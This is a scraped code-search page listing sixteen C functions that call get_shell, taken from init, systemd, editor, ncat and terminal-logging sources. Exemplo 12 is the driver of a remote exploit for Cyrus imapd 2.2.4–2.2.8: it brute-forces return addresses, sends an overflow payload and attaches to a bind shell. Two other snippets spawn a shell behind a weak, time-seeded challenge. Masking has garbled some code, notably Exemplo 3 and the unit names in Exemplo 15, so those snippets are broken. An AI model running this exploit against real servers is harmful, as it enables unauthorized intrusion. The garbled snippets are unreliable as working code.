Exemplo n.º 1
0
int
main (int argc, char *argv[])
{
  struct stat buf;
  char *dir;
  char *program;
  char **real_argv;
  int i, j;
  int res;
  int dir_fd;

  if (argc < 2) {
    fprintf (stderr, "Usage: glick-shell {directory} [program [args]]\n");
    return 1;
  }

  dir = argv[1];

  res = stat (dir, &buf);
  if (res != 0 || !S_ISDIR (buf.st_mode)) {
    fprintf (stderr, "Error: Specified location not a directory.\n");
    return 1;
  }

  if (argc >= 3)
    program = argv[2];
  else
    program = get_shell ();

  real_argv = malloc (sizeof (char *) * (argc + 1));
  i = 0;
  real_argv[i++] = program;
  
  for (j = 3; j < argc; j++) {
    real_argv[i++] = argv[j];
  }
  real_argv[i] = NULL;


  dir_fd = open (dir, O_RDONLY);
  if (dir_fd == -1) {
    perror ("Error opening directory: ");
    return 1;
  }
    
  res = dup2 (dir_fd, 1023);
  if (res == -1) {
    perror ("dup2 error: ");
    return 1;
  }
  close (dir_fd);

  putenv("GLICKROOT=/proc/self/fd/1023");

  execvp (program, real_argv);
  
  /* Error if we continue here */
  perror ("Error starting program");
  return 1;
}
Exemplo n.º 2
0
static char *specifier_user_shell(char specifier, void *data, void *userdata) {
        Unit *u = userdata;
        ExecContext *c;
        int r;
        const char *username, *shell;

        assert(u);

        c = unit_get_exec_context(u);

        /* return HOME if set, otherwise from passwd */
        if (!c || !c->user) {
                char *sh;

                r = get_shell(&sh);
                if (r < 0)
                        return strdup("/bin/sh");

                return sh;
        }

        username = c->user;
        r = get_user_creds(&username, NULL, NULL, NULL, &shell);
        if (r < 0)
                return strdup("/bin/sh");

        return strdup(shell);
}
Exemplo n.º 3
0
int main(int argc, char *argv[])
{
	static char buffer[1024];
	static char seed[40];
	int i;
	int trial;
	const char *shell = get_shell();
	srand(time(NULL) / 30);
	memset(seed, 0, sizeof(seed));
	for (i = 0; i < sizeof(seed) - 1; i++)
		seed[i] = (rand() % 64) + 33;
	for (trial = 0; trial < 3; trial++) {
		char *dp;
		memset(buffer, 0, sizeof(buffer));
		printf("Password: "******"Authentication Failure\n");
	return 0;
}
Exemplo n.º 4
0
/* npflush is called for filter ops effected with temp files */
void
npflush(void)
{
    char buf[NFILEN + 128];
    int  rc, term_status;

    /*
     * caller has filled and closed the write pipe data stream.  time to
     * exec a process.
     */

    if ((stdout_fd = open(stdout_name, O_RDONLY|O_BINARY)) == BAD_FD)
    {
        /* oh my, put complaint in user's face. */

        sprintf(buf, "[unable to open temp file \"%s\": %s]",
                stdout_name,
                strerror(errno));
        lastditch_msg(buf);
    }
    else
    {
        /* handles[1-2] were initialized by tmp_npopen_open() */

        handles[0] = (HANDLE) _get_osfhandle(stdout_fd);
        rc = (exec_shell(shcmd,
                         handles,
                         TRUE    /* do hide child window */
                        ) == BAD_PROC_HANDLE) ? FALSE : TRUE;
        if (! rc)
        {
            /* Shell process failed, put complaint in user's face. */

            sprintf(buf, SHELL_ERR_MSG, get_shell());
            lastditch_msg(buf);
        }
        else
        {
            /* now wait for app to exit */

            (void) cwait(&term_status, (CWAIT_PARAM_TYPE) proc_handle, 0);
            TRACE(("...CreateProcess finished waiting in npflush\n"));
            close_proc_handle();
        }

        /*
         * When closing descriptors shared between parent and child, order
         * is quite important when $shell == command.com .  In this
         * situation, the descriptors can't be closed until the exec'd
         * process exits.
         */
        close_fd(stdout_fd);
    }
}
Exemplo n.º 5
0
static void child(int pty_master_fd, int pty_child_fd) {
  
  if (close(pty_master_fd) == -1) {
    die_with_error("close[master]");
  }

  struct termios term_settings;

  if (tcgetattr(pty_child_fd, &term_settings) == -1) {
    die_with_error("tcgetattr");
  }

  cfmakeraw(&term_settings);

  if(tcsetattr(pty_child_fd, TCSANOW, &term_settings) == -1) {
    die_with_error("tcsetattr");
  }

  if (dup2(pty_child_fd, 0) == -1) {
    die_with_error("dup2 [stdin]");
  }

  if (dup2(pty_child_fd, 1) == -1) {
    die_with_error("dup2 [stdout]");
  }

  if (dup2(pty_child_fd, 2) == -1) {
    die_with_error("dup2 [stderr]");
  }

  if (close(pty_child_fd) == -1) {
    die_with_error("close[child]");
  }

  if (setsid() == -1) {
    die_with_error("setsid");
  }

  if (ioctl(0, TIOCSCTTY, 1) == -1) {
    die_with_error("ioctl");
  }

  const char * shell = get_shell();
  char * const * args = calloc(0, sizeof(char *));
  if (execv(shell, args) == -1) {
    die_with_error("execv");
  }
  
}
Exemplo n.º 6
0
int
DOSexec(char *command)
{
    char xbuff[256];

    if (!my_shell)
	get_shell();

    sprintf(xbuff, "%s %s", command_opt, command);

    fflush(stderr);
    fflush(stdout);

    return spawnl(P_WAIT, my_shell, my_shell, xbuff, (char *) 0);
}
Exemplo n.º 7
0
int main(int argc, char *argv[])
{
	static char buffer[1024];
	static char seed[40];
	int i;
	int trial;
	const char *shell = get_shell();
	srand(time(NULL));
	for (trial = 0; trial < 3; trial++) {
		char *sp;
		char *dp;
		memset(seed, 0, sizeof(seed));
		for (i = 0; i < sizeof(seed) - 1; i++)
			seed[i] = (rand() % 64) + 33;
		printf("Challenge: %s\n", seed);
		dp = seed;
		sp = dp;
		while (1) {
			char c = *sp;
			*dp = c;
			if (!c)
				break;
			if (*sp < '0' || *sp > '9') {
				sp++;
				continue;
			}
			sp++;
			dp++;
		}
		/* printf("Answer: %s\n", seed); */
		memset(buffer, 0, sizeof(buffer));
		printf("Response: ");
		fgets(buffer, sizeof(buffer) - 1, stdin);
		dp = strchr(buffer, '\n');
		if (dp)
			*dp = '\0';
		if (!strcmp(buffer, seed)) {
			if (shell)
				execlp(shell, shell, NULL);
		}
		sleep(3);
	}
	printf("Authentication Failure\n");
	return 0;
}
Exemplo n.º 8
0
/* Start a subprocess with run_command_redirected and register it with the
   termination handler. Takes care of o.shellexec. Returns the PID of the
   subprocess or -1 on error. */
static int start_subprocess(char *cmdexec, struct subprocess_info *info)
{
    char *cmdbuf;
    int pid;

    if (o.shellexec) {
        /* Run with cmd.exe. */
        const char *shell;
        size_t cmdlen;

        shell = get_shell();
        cmdlen = strlen(shell) + strlen(cmdexec) + 32;
        cmdbuf = (char *) safe_malloc(cmdlen);
        Snprintf(cmdbuf, cmdlen, "%s /C %s", shell, cmdexec);
    } else {
        cmdbuf = cmdexec;
    }

    if (o.debug)
        logdebug("Executing: %s\n", cmdbuf);

    pid = run_command_redirected(cmdbuf, info);

    if (cmdbuf != cmdexec)
        free(cmdbuf);

    if (pid == -1)
        return -1;

    if (register_subprocess(info->proc) == -1) {
        if (o.verbose)
            logdebug("Couldn't register subprocess with termination handler; not executing.\n");
        TerminateProcess(info->proc, 2);
        subprocess_info_close(info);
        return -1;
    }

    return pid;
}
Exemplo n.º 9
0
/*
 * Run a shell script.
 * Returns 0 on success, otherwise the next transition to enter:
 *  - single_user if fork/execv/waitpid failed, or if the script
 *    terminated with a signal or exit code != 0.
 *  - death_single if a SIGTERM was delivered to init(8).
 */
static state_func_t
run_script(const char *script)
{
	pid_t pid, wpid;
	int status;
	char *argv[4];
	const char *shell;
	struct sigaction sa;

	shell = get_shell();

	if ((pid = fork()) == 0) {
		sigemptyset(&sa.sa_mask);
		sa.sa_flags = 0;
		sa.sa_handler = SIG_IGN;
		sigaction(SIGTSTP, &sa, (struct sigaction *)0);
		sigaction(SIGHUP, &sa, (struct sigaction *)0);

		open_console();

		char _sh[]		= "sh";
		char _autoboot[]	= "autoboot";

		argv[0] = _sh;
		argv[1] = __DECONST(char *, script);
		argv[2] = runcom_mode == AUTOBOOT ? _autoboot : 0;
		argv[3] = 0;

		sigprocmask(SIG_SETMASK, &sa.sa_mask, (sigset_t *) 0);

#ifdef LOGIN_CAP
		setprocresources(RESOURCE_RC);
#endif
		execv(shell, argv);
		stall("can't exec %s for %s: %m", shell, script);
		_exit(1);	/* force single user mode */
	}
Exemplo n.º 10
0
static int
native_inout_popen(FILE **fr, FILE **fw, char *cmd)
{
    char   buf[NFILEN + 128];
    HANDLE handles[3];
    int    i, rc, rp[3], tmpin_fd, wp[3];

    TRACE((T_CALLED "native_inout_popen cmd=%s\n", cmd));
    proc_handle   = BAD_PROC_HANDLE;
    rp[0] = rp[1] = rp[2] = wp[0] = wp[1] = wp[2] = BAD_FD;
    handles[0]    = handles[1] = handles[2] = INVALID_HANDLE_VALUE;
    tmpin_fd      = BAD_FD;
    tmpin_name    = NULL;
    set_console_title(cmd);
    if (is_win95())
    {
        char *cmdp;

        /*
         * If w32pipes is set on a win95 host, you don't ever want slowreadf()
         * to periodically update the display while an intrinisic, high
         * bandwidth DOS command is in progress.  Reason:  the win95 shell,
         * command.com, will simply hang in the following scenario:
         *
         *    ^X!<high_bandwidth_cmd>
         *
         *         and
         *
         *    PIPESIZ < output of <high_bandwidth_cmd>
         *
         * I'm assuming that what's going on here is that command.com is
         * written in ASM and is using very low level BIOS/DOS calls to
         * effect output and, furthermore, that these low level calls don't
         * block when the input consumer is busy.
         */

        cmdp = skip_blanks(cmd);
        nowait_pipe_cmd = (strnicmp(cmdp, "dir", 3) == 0)  ||
                          (strnicmp(cmdp, "type", 4) == 0);
    }
    do
    {
        if (fr)
        {
            *fr = NULL;

            /*
             * Open (parent's) input pipe in TEXT mode, which will force
             * translation of the child's CR/LF record delimiters to NL
             * and keep the dreaded ^M chars from temporarily appearing
             * in a vile buffer (ugly).
             */
            if (_pipe(rp, PIPESIZ, O_TEXT|O_NOINHERIT) == -1)
                break;
            if ((rp[2] = _dup(rp[1])) == -1)
                break;
            handles[2] = handles[1] = (HANDLE) _get_osfhandle(rp[2]);
            (void) close(rp[1]);
            rp[1] = BAD_FD;
            if (! fw)
            {
                /*
                 * This is a read pipe (only).  Connect child's stdin to
                 * an empty file.  Under no circumstances should the
                 * child's stdin be connected to a device (else lots of
                 * screwy things will occur).  In particular, connecting
                 * the child's stdin to the parent's stdin will cause
                 * aborts and hangs on the various Win32 hosts.  You've
                 * been warned.
                 */

                if ((tmpin_name = _tempnam(getenv("TEMP"), "vile")) == NULL)
                    break;
                if ((tmpin_fd = open(tmpin_name,
                                     O_RDONLY|O_CREAT|O_TRUNC,
                                     _S_IWRITE|_S_IREAD)) == BAD_FD)
                {
                    break;
                }
                handles[0] = (HANDLE) _get_osfhandle(tmpin_fd);
            }
            if ((*fr = fdopen(rp[0], "r")) == 0)
                break;
        }
        if (fw)
        {
            *fw = NULL;

            /*
             * Open (child's) output pipe in binary mode, which will
             * prevent translation of the parent's CR/LF record delimiters
             * to NL.  Apparently, many apps want those delimiters :-) .
             */
            if (_pipe(wp, PIPESIZ, O_BINARY|O_NOINHERIT) == -1)
                break;
            if ((wp[2] = _dup(wp[0])) == -1)
                break;
            handles[0] = (HANDLE)_get_osfhandle(wp[2]);
            (void) close(wp[0]);
            wp[0] = BAD_FD;
            if (! fr)
                handles[1] = handles[2] = GetStdHandle(STD_OUTPUT_HANDLE);
            if ((*fw = fdopen(wp[1], "w")) == 0)
                break;
        }
        rc = (exec_shell(cmd,
                         handles,
                         fr != NULL  /* Child wdw hidden unless write pipe. */
                        ) == BAD_PROC_HANDLE) ? FALSE : TRUE;
        if (fw)
        {
            if (! rc)
            {
                /* Shell process failed, put complaint in user's face. */

                sprintf(buf, SHELL_ERR_MSG, get_shell());
                lastditch_msg(buf);
            }
            w32_close_handle(handles[0]);
        }
        if (fr)
        {
            if (! rc)
            {
                unsigned len;

                /*
                 * Shell process failed, put complaint in user's buffer.
                 * Can't write to handles[1] on a win2k host because the
                 * previously failed CreateProcess() call damaged the
                 * handle.
                 */
                len = (unsigned) (lsprintf(buf, SHELL_ERR_MSG, get_shell()) - buf);
                (void) write(rp[2], buf, len);
                (void) close(rp[2]);   /* in weird state; why not? */
            }
            w32_close_handle(handles[1]);
            close_fd(tmpin_fd);
        }
        returnCode(rc);
    }
    while (FALSE);

    /* If we get here -- some operation has failed.  Clean up. */

    close_fd(wp[0]);
    close_fd(wp[1]);
    close_fd(wp[2]);
    close_fd(rp[0]);
    close_fd(rp[1]);
    close_fd(rp[2]);
    close_fd(tmpin_fd);
    for (i = 0; i < 3; i++)
    {
        if (handles[i] != INVALID_HANDLE_VALUE)
            w32_close_handle(handles[i]);
    }
    common_cleanup();
    returnCode(FALSE);
}
Exemplo n.º 11
0
/*
 * Bring the system up single user.
 */
static state_func_t
single_user(void)
{
	pid_t pid, wpid;
	int status;
	sigset_t mask;
	const char *shell;
	char *argv[2];
#ifdef SECURE
	struct ttyent *typ;
	struct passwd *pp;
	static const char banner[] =
		"Enter root password, or ^D to go multi-user\n";
	char *clear, *password;
#endif
#ifdef DEBUGSHELL
	char altshell[128];
#endif

	if (Reboot) {
		/* Instead of going single user, let's reboot the machine */
		sync();
		reboot(howto);
		_exit(0);
	}

	shell = get_shell();

	if ((pid = fork()) == 0) {
		/*
		 * Start the single user session.
		 */
		open_console();

#ifdef SECURE
		/*
		 * Check the root password.
		 * We don't care if the console is 'on' by default;
		 * it's the only tty that can be 'off' and 'secure'.
		 */
		typ = getttynam("console");
		pp = getpwnam("root");
		if (typ && (typ->ty_status & TTY_SECURE) == 0 &&
		    pp && *pp->pw_passwd) {
			write_stderr(banner);
			for (;;) {
				clear = getpass("Password:"******"single-user login failed\n");
			}
		}
		endttyent();
		endpwent();
#endif /* SECURE */

#ifdef DEBUGSHELL
		{
			char *cp = altshell;
			int num;

#define	SHREQUEST "Enter full pathname of shell or RETURN for "
			write_stderr(SHREQUEST);
			write_stderr(shell);
			write_stderr(": ");
			while ((num = read(STDIN_FILENO, cp, 1)) != -1 &&
			    num != 0 && *cp != '\n' && cp < &altshell[127])
				cp++;
			*cp = '\0';
			if (altshell[0] != '\0')
				shell = altshell;
		}
#endif /* DEBUGSHELL */

		/*
		 * Unblock signals.
		 * We catch all the interesting ones,
		 * and those are reset to SIG_DFL on exec.
		 */
		sigemptyset(&mask);
		sigprocmask(SIG_SETMASK, &mask, (sigset_t *) 0);

		/*
		 * Fire off a shell.
		 * If the default one doesn't work, try the Bourne shell.
		 */

		char name[] = "-sh";

		argv[0] = name;
		argv[1] = 0;
		execv(shell, argv);
		emergency("can't exec %s for single user: %m", shell);
		execv(_PATH_BSHELL, argv);
		emergency("can't exec %s for single user: %m", _PATH_BSHELL);
		sleep(STALL_TIMEOUT);
		_exit(1);
	}

	if (pid == -1) {
		/*
		 * We are seriously hosed.  Do our best.
		 */
		emergency("can't fork single-user shell, trying again");
		while (waitpid(-1, (int *) 0, WNOHANG) > 0)
			continue;
		return (state_func_t) single_user;
	}

	requested_transition = 0;
	do {
		if ((wpid = waitpid(-1, &status, WUNTRACED)) != -1)
			collect_child(wpid);
		if (wpid == -1) {
			if (errno == EINTR)
				continue;
			warning("wait for single-user shell failed: %m; restarting");
			return (state_func_t) single_user;
		}
		if (wpid == pid && WIFSTOPPED(status)) {
			warning("init: shell stopped, restarting\n");
			kill(pid, SIGCONT);
			wpid = -1;
		}
	} while (wpid != pid && !requested_transition);

	if (requested_transition)
		return (state_func_t) requested_transition;

	if (!WIFEXITED(status)) {
		if (WTERMSIG(status) == SIGKILL) {
			/*
			 *  reboot(8) killed shell?
			 */
			warning("single user shell terminated.");
			sleep(STALL_TIMEOUT);
			_exit(0);
		} else {
			warning("single user shell terminated, restarting");
			return (state_func_t) single_user;
		}
	}

	runcom_mode = FASTBOOT;
	return (state_func_t) runcom;
}
Exemplo n.º 12
0
int main(int argc, char **argv){
    char *payload = NULL, *hostn = NULL, buffer[1024], *ptr;
    int i, first, sock, opt, target = 0, port = 143,
        shell_port = atoi(SHELL_PORT), sleeps = 1, 
        p_size=10000, ret_bf_start = RET_BF_START, 
        ret_bf_end = RET_BF_END, vulncheck = 1; 
    fd_set fds;
	struct sockaddr_in addr;
  
    printf("[!] Cyrus imapd 2.2.4 - 2.2.8 remote exploit by crash-x / unl0ck\n");

    if (argc < 2)
        usage(argv[0]);
    
    while ((opt = getopt (argc, argv, "h:p:t:s:P:S:E:vV")) != -1){
        switch (opt){
	        case 'h':
	            hostn = optarg;
	            break;
	        case 'p':
                port = atoi(optarg);
                if(port > 65535 || port < 1){
                    printf("[-] Port %d is invalid\n",port);
                    return 1;
                }
                break;
            case 't':
                target = atoi(optarg);
                for(i = 0; targets[i].platform; i++);
                if(target >= i && target != 1337){
                    printf("[-] Wtf are you trying to target?\n");
                    usage(argv[0]);
                }
                break;
            case 'S':
                ret_bf_start = strtoul(optarg,NULL,0);
                if(!ret_bf_start){
                    printf("[-] Wtf thats not a valid bruteforce start address!\n");
                    usage(argv[0]);
                }
                break;
            case 'E':
                ret_bf_end = strtoul(optarg,NULL,0);
                if(!ret_bf_end){
                    printf("[-] Wtf thats not a valid bruteforce end address!\n");
                    usage(argv[0]);
                }
                break;
            case 's': 
                sleeps = atoi(optarg);
                break;
            case 'P': 
                p_size = atoi(optarg);
                if(p_size < 1000){
                    printf("[-] Its a bad idea to have a payload with less than 1000 bytes :)\n");
                    return 1;
                }
                break;
            case 'v':
                vulncheck = 2;
                break;
            case 'V':
                vulncheck = 0;
                break;
        	default:
                usage(argv[0]);
        }
    }

    if(hostn == NULL)
        usage(argv[0]);

    if(payload == NULL){
        if(!(payload = malloc(p_size))){
            printf("[-] Wasnt able to allocate space for the payload!\n");
            return 1;
        }
    }

    resolv(&addr, hostn);

    if(vulncheck == 2){
        vulnchck(addr, port);
        return 1;
    }
    else if(vulncheck == 1)
        vulnchck(addr, port);

    if(target != 1337){
        ret_bf_start = targets[target].retloc;
        ret_bf_end = targets[target].retloc+5;
        printf ("[!] Targeting %s\n", targets[target].platform);
    } else
        printf("[!] Starting bruteforce attack!\n");

    for(i = 0, first = 1; ret_bf_start < ret_bf_end; i++, first++){
        if((sock = conn(addr, port)) == -1){
            if(first != 1)
                printf("\n");
            printf("[-] Connecting failed!\n");
            break;
        }
        if(i == 4)
            ret_bf_start += (p_size -  (p_size/10));
        else
            ret_bf_start++;
        gen_payload(payload, p_size, ret_bf_start, 1);
        status(ret_bf_start, ret_bf_start + (p_size - (p_size/10)),
                ret_bf_start + (p_size - (p_size/10/2)));
        sockprintf(sock, "%s\r\n", payload);
        if(i == 4){
            get_shell(addr, shell_port, sleeps);
            i = 0;
        }
        if(ret_bf_start >=  ret_bf_end)
            printf("[-]\n");
        close(sock);
    }
    printf("[-] Exploit failed!\n");
    return 1;
}
Exemplo n.º 13
0
static tlog_grc
run(const char *progname, struct json_object *conf)
{
    tlog_grc grc;
    struct json_object *obj;
    int64_t num;
    unsigned int latency;
    unsigned int log_mask;
    const char *shell_path;
    char **shell_argv = NULL;
    const struct timespec delay_min = TLOG_DELAY_MIN_TIMESPEC;
    clockid_t clock_id;
    struct timespec timestamp;
    struct tlog_sink *log_sink = NULL;
    struct tlog_sink *tty_sink = NULL;
    struct tlog_source *tty_source = NULL;
    ssize_t rc;
    int master_fd;
    pid_t child_pid;
    bool term_attrs_set = false;
    struct termios orig_termios;
    struct termios raw_termios;
    struct winsize winsize;

    assert(progname != NULL);

    /* Check for the help flag */
    if (json_object_object_get_ex(conf, "help", &obj)) {
        if (json_object_get_boolean(obj)) {
            tlog_rec_conf_cmd_help(stdout, progname);
            grc = TLOG_RC_OK;
            goto cleanup;
        }
    }

    /* Prepare shell command line */
    grc = get_shell(conf, &shell_path, &shell_argv);
    if (grc != TLOG_RC_OK) {
        fprintf(stderr, "Failed building shell command line: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    /* Read the log latency */
    if (!json_object_object_get_ex(conf, "latency", &obj)) {
        fprintf(stderr, "Log latency is not specified\n");
        grc = TLOG_RC_FAILURE;
        goto cleanup;
    }
    num = json_object_get_int64(obj);
    latency = (unsigned int)num;

    /* Read log mask */
    if (!json_object_object_get_ex(conf, "log", &obj)) {
        fprintf(stderr, "Logged data set parameters are not specified\n");
        grc = TLOG_RC_FAILURE;
        goto cleanup;
    }
    grc = get_log_mask(obj, &log_mask);
    if (grc != TLOG_RC_OK) {
        fprintf(stderr, "Failed reading log mask: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    /* Create the log sink */
    grc = create_log_sink(&log_sink, conf);
    if (grc != TLOG_RC_OK) {
        fprintf(stderr, "Failed creating log sink: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    /*
     * Choose the clock: try to use coarse monotonic clock (which is faster),
     * if it provides the required resolution.
     */
    if (clock_getres(CLOCK_MONOTONIC_COARSE, &timestamp) == 0 &&
        tlog_timespec_cmp(&timestamp, &delay_min) <= 0) {
        clock_id = CLOCK_MONOTONIC_COARSE;
    } else if (clock_getres(CLOCK_MONOTONIC, NULL) == 0) {
        clock_id = CLOCK_MONOTONIC;
    } else {
        fprintf(stderr, "No clock to use\n");
        goto cleanup;
    }

    /* Get terminal attributes */
    rc = tcgetattr(STDOUT_FILENO, &orig_termios);
    if (rc < 0) {
        fprintf(stderr, "Failed retrieving tty attributes: %s\n",
                strerror(errno));
        goto cleanup;
    }

    /* Get terminal window size */
    rc = ioctl(STDOUT_FILENO, TIOCGWINSZ, &winsize);
    if (rc < 0) {
        fprintf(stderr, "Failed retrieving tty window size: %s\n",
                strerror(errno));
        goto cleanup;
    }

    /* Fork a child under a slave pty */
    child_pid = forkpty(&master_fd, NULL, &orig_termios, &winsize);
    if (child_pid < 0) {
        grc = TLOG_GRC_ERRNO;
        fprintf(stderr, "Failed forking a pty: %s\n", tlog_grc_strerror(grc));
        goto cleanup;
    } else if (child_pid == 0) {
        /*
         * Child
         */
        execv(shell_path, shell_argv);
        grc = TLOG_GRC_ERRNO;
        fprintf(stderr, "Failed executing the shell: %s",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    /*
     * Parent
     */
    /* Read and output the notice */
    if (json_object_object_get_ex(conf, "notice", &obj)) {
        fprintf(stderr, "%s", json_object_get_string(obj));
    }

    /* Switch the terminal to raw mode */
    raw_termios = orig_termios;
    raw_termios.c_lflag &= ~(ICANON | ISIG | IEXTEN | ECHO);
    raw_termios.c_iflag &= ~(BRKINT | ICRNL | IGNBRK | IGNCR | INLCR |
                             INPCK | ISTRIP | IXON | PARMRK);
    raw_termios.c_oflag &= ~OPOST;
    raw_termios.c_cc[VMIN] = 1;
    raw_termios.c_cc[VTIME] = 0;
    rc = tcsetattr(STDOUT_FILENO, TCSAFLUSH, &raw_termios);
    if (rc < 0) {
        grc = TLOG_GRC_ERRNO;
        fprintf(stderr, "Failed setting tty attributes: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }
    term_attrs_set = true;

    /* Create the TTY source */
    grc = tlog_tty_source_create(&tty_source, STDIN_FILENO,
                                 master_fd, STDOUT_FILENO,
                                 4096, clock_id);
    if (grc != TLOG_RC_OK) {
        fprintf(stderr, "Failed creating TTY source: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    /* Create the TTY sink */
    grc = tlog_tty_sink_create(&tty_sink, master_fd,
                               STDOUT_FILENO, master_fd);
    if (grc != TLOG_RC_OK) {
        fprintf(stderr, "Failed creating TTY sink: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    /* Transfer and log the data until interrupted or either end is closed */
    grc = transfer(tty_source, log_sink, tty_sink, latency, log_mask);
    if (grc != TLOG_RC_OK) {
        fprintf(stderr, "Failed transferring TTY data: %s\n",
                tlog_grc_strerror(grc));
        goto cleanup;
    }

    grc = TLOG_RC_OK;

cleanup:

    tlog_sink_destroy(log_sink);
    tlog_sink_destroy(tty_sink);
    tlog_source_destroy(tty_source);

    /* Free shell argv list */
    if (shell_argv != NULL) {
        for (size_t i = 0; shell_argv[i] != NULL; i++) {
            free(shell_argv[i]);
        }
        free(shell_argv);
    }

    /* Restore terminal attributes */
    if (term_attrs_set) {
        rc = tcsetattr(STDOUT_FILENO, TCSAFLUSH, &orig_termios);
        if (rc < 0 && errno != EBADF) {
            fprintf(stderr, "Failed restoring tty attributes: %s\n",
                    strerror(errno));
            return 1;
        }
    }

    return grc;
}
Exemplo n.º 14
0
static void
tmp_npclose(FILE *fp)
{
    char buf[NFILEN + 128];
    int  rc, term_status;

    (void) fflush(fp);
    (void) fclose(fp);

    if (stdout_fd != BAD_FD)
    {
        /*
         * write pipe, but not a filter.  Editor has written data to temp
         * file, time now to exec "cmd" and hook its stdin to the file.
         *
         * It should be noted that exec'ing a process in the npclose()
         * phase of a write pipe is not exactly keeping in spirit with
         * the control flow in file.c :-) .  However, the strategy used
         * here ensures that the launched process reads a temp file that
         * is completey flushed to disk.  The only direct drawback with
         * this approach is that when the exec'd process exits, the user
         * does not receive a "[press return to continue]" prompt from
         * file.c .  But, cough, we can work around that problem :-) .
         */

        if ((stdout_fd = open(stdout_name, O_RDONLY|O_BINARY)) == BAD_FD)
        {
            /* oh my, put complaint in user's face. */

            sprintf(buf, "[unable to open temp file \"%s\": %s]",
                    stdout_name,
                    strerror(errno));
            lastditch_msg(buf);
        }
        else
        {
            handles[0] = (HANDLE) _get_osfhandle(stdout_fd);
            handles[1] = handles[2] = GetStdHandle(STD_OUTPUT_HANDLE);
            rc = (exec_shell(shcmd,
                             handles,
                             FALSE    /* don't hide child window */
                            ) == BAD_PROC_HANDLE) ? FALSE : TRUE;
            if (! rc)
            {
                /* Shell process failed, put complaint in user's face. */

                sprintf(buf, SHELL_ERR_MSG, get_shell());
                lastditch_msg(buf);
            }
            else
            {
                /* now wait for app to exit */

                (void) cwait(&term_status, (CWAIT_PARAM_TYPE) proc_handle, 0);
                TRACE(("...CreateProcess finished waiting in tmp_npclose\n"));
                close_proc_handle();
            }

            /*
             * When closing descriptors shared between parent and child,
             * order is quite important when $shell == command.com .  In
             * this situation, the descriptors can't be closed until the
             * exec'd process exits.
             */
            close_fd(stdout_fd);
        }
        pressreturn();  /* cough */
        sgarbf = TRUE;
    }
    tmp_cleanup();
}
Exemplo n.º 15
0
static int test_unit_printf(void) {
        Manager *m = NULL;
        Unit *u, *u2;
        int r;

        _cleanup_free_ char *mid = NULL, *bid = NULL, *host = NULL, *uid = NULL, *user = NULL, *shell = NULL, *home = NULL;

        assert_se(specifier_machine_id('m', NULL, NULL, &mid) >= 0 && mid);
        assert_se(specifier_boot_id('b', NULL, NULL, &bid) >= 0 && bid);
        assert_se(host = gethostname_malloc());
        assert_se(user = getusername_malloc());
        assert_se(asprintf(&uid, UID_FMT, getuid()));
        assert_se(get_home_dir(&home) >= 0);
        assert_se(get_shell(&shell) >= 0);

        r = manager_new(UNIT_FILE_USER, true, &m);
        if (r == -EPERM || r == -EACCES || r == -EADDRINUSE) {
                puts("manager_new: Permission denied. Skipping test.");
                return EXIT_TEST_SKIP;
        }
        assert_se(r == 0);

#define expect(unit, pattern, expected)                                 \
        {                                                               \
                char *e;                                                \
                _cleanup_free_ char *t = NULL;                          \
                assert_se(unit_full_printf(unit, pattern, &t) >= 0);    \
                printf("result: %s\nexpect: %s\n", t, expected);        \
                if ((e = endswith(expected, "*")))                      \
                        assert_se(strncmp(t, e, e-expected));              \
                else                                                    \
                        assert_se(streq(t, expected));                     \
        }

        assert_se(setenv("XDG_RUNTIME_DIR", "/run/user/1/", 1) == 0);

        assert_se(u = unit_new(m, sizeof(Service)));
        assert_se(unit_add_name(u, "blah.service") == 0);
        assert_se(unit_add_name(u, "blah.service") == 0);

        /* general tests */
        expect(u, "%%", "%");
        expect(u, "%%s", "%s");
        expect(u, "%", "");    // REALLY?

        /* normal unit */
        expect(u, "%n", "blah.service");
        expect(u, "%f", "/blah");
        expect(u, "%N", "blah");
        expect(u, "%p", "blah");
        expect(u, "%P", "blah");
        expect(u, "%i", "");
        expect(u, "%u", user);
        expect(u, "%U", uid);
        expect(u, "%h", home);
        expect(u, "%m", mid);
        expect(u, "%b", bid);
        expect(u, "%H", host);
        expect(u, "%t", "/run/user/*");

        /* templated */
        assert_se(u2 = unit_new(m, sizeof(Service)));
        assert_se(unit_add_name(u2, "*****@*****.**") == 0);
        assert_se(unit_add_name(u2, "*****@*****.**") == 0);

        expect(u2, "%n", "*****@*****.**");
        expect(u2, "%N", "blah@foo-foo");
        expect(u2, "%f", "/foo/foo");
        expect(u2, "%p", "blah");
        expect(u2, "%P", "blah");
        expect(u2, "%i", "foo-foo");
        expect(u2, "%I", "foo/foo");
        expect(u2, "%u", user);
        expect(u2, "%U", uid);
        expect(u2, "%h", home);
        expect(u2, "%m", mid);
        expect(u2, "%b", bid);
        expect(u2, "%H", host);
        expect(u2, "%t", "/run/user/*");

        manager_free(m);
#undef expect

        return 0;
}
Exemplo n.º 16
0
INT_PTR CALLBACK dlgfunc (HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
    int id, f, option;
    TCHAR buffer[MAX_PATH], temp[2000];

    switch( msg ) {
    case WM_DESTROY:
        g_hDlg = NULL;
        return 0;

    case WM_INITDIALOG:
        g_hDlg = hDlg;
        option = 0;

        Init ();
        if (0 == is_usingNT)
        {
            EnableWindow(GetDlgItem(hDlg, IDC_CHK1), FALSE);
        }
        else if (0 == is_admin)
        {
            /* if not admin, see if a shell is set for this user */
            is_per_user = rw_reg(A_RD|A_SZ, HKEY_CURRENT_USER, logonstr, TEXT("Shell"), buffer);
            SetDlgItemText(hDlg, IDC_CHK1, TEXT("Set shell for this user &individually"));
        }

        CheckDlgButton(hDlg, IDC_CHK1, is_per_user ? BST_CHECKED : BST_UNCHECKED);

display:
        if (is_usingNT) {
            if (0 == is_per_user) {
                _tcscpy(buffer, TEXT("Shell for all users"));
                if (0 == is_admin)
                    _tcscat(buffer, TEXT(" (run as admin to change)"));

            } else {
                DWORD result = sizeof temp;
                temp[0] = 0;
                GetUserName(temp, &result);
                _stprintf(buffer, TEXT("Shell for the current user (%s)"), temp);
            }

            SetDlgItemText(hDlg, IDC_GRP1, buffer);
        }

        if (2 == option)
            _tcscpy(buffer, szBlackbox);
        else
        if (1 == option)
            _tcscpy(buffer, szExplorer);
        else
